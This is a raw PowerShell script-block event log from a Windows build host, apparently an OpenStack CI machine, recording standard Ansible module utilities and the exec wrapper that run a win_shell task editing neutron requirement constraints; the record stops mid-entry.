Host ID = 247bccd7-1a99-474a-bf18-688c6ca96674
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 895031e1-a601-4bda-89d8-2cb58f7117cc
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 1541 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1176 | 3416 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:29 AM | dfeadd90-ee34-0004-0b26-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 6e67e7e0-e17c-43e5-aeba-c20099be06af
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1540 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1176 | 968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:29 AM | dfeadd90-ee34-0002-57fb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 632b6261-9236-416d-ba8f-4ff6a235cd8f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1539 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1176 | 968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:29 AM | dfeadd90-ee34-0002-50fb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: b7131779-aa9c-415a-a2d2-1a8dfeb564ed
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1538 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1176 | 968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:28 AM | dfeadd90-ee34-0003-80ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 5):
ZQogICAgICA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IC1vYmogJHJlc3VsdCAtbWVzc2FnZSAkXy5FeGNlcHRpb24uTWVzc2FnZQp9CgojIFRPRE86IGRlY29kZSBDTElYTUwgc3RkZXJyIG91dHB1dCAoYW5kIG90aGVyIHN0cmVhbXM/KQokcmVzdWx0LnN0ZG91dCA9ICRjb21tYW5kX3Jlc3VsdC5zdGRvdXQKJHJlc3VsdC5zdGRlcnIgPSBDbGVhbnNlLVN0ZGVyciAkY29tbWFuZF9yZXN1bHQuc3RkZXJyIAokcmVzdWx0LnJjID0gJGNvbW1hbmRfcmVzdWx0LnJjCgokZW5kX2RhdGV0aW1lID0gW0RhdGVUaW1lXTo6VXRjTm93CiRyZXN1bHQuc3RhcnQgPSAkc3RhcnRfZGF0ZXRpbWUuVG9TdHJpbmcoInl5eXktTU0tZGQgaGg6bW06c3MuZmZmZmZmIikKJHJlc3VsdC5lbmQgPSAkZW5kX2RhdGV0aW1lLlRvU3RyaW5nKCJ5eXl5LU1NLWRkIGhoOm1tOnNzLmZmZmZmZiIpCiRyZXN1bHQuZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "edit-constraints c:\\openstack\\build\\\\requirements\\\\upper-constraints.txt -- neutron \"-e file:///C:/openstack/build/neutron#egg=neutron\"", "_ansible_verbosity": 4, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: ba03df0a-c1cb-4c79-bc3c-95ba6c1560e4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1537 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1176 | 968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:28 AM | dfeadd90-ee34-0002-3ffb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 5):
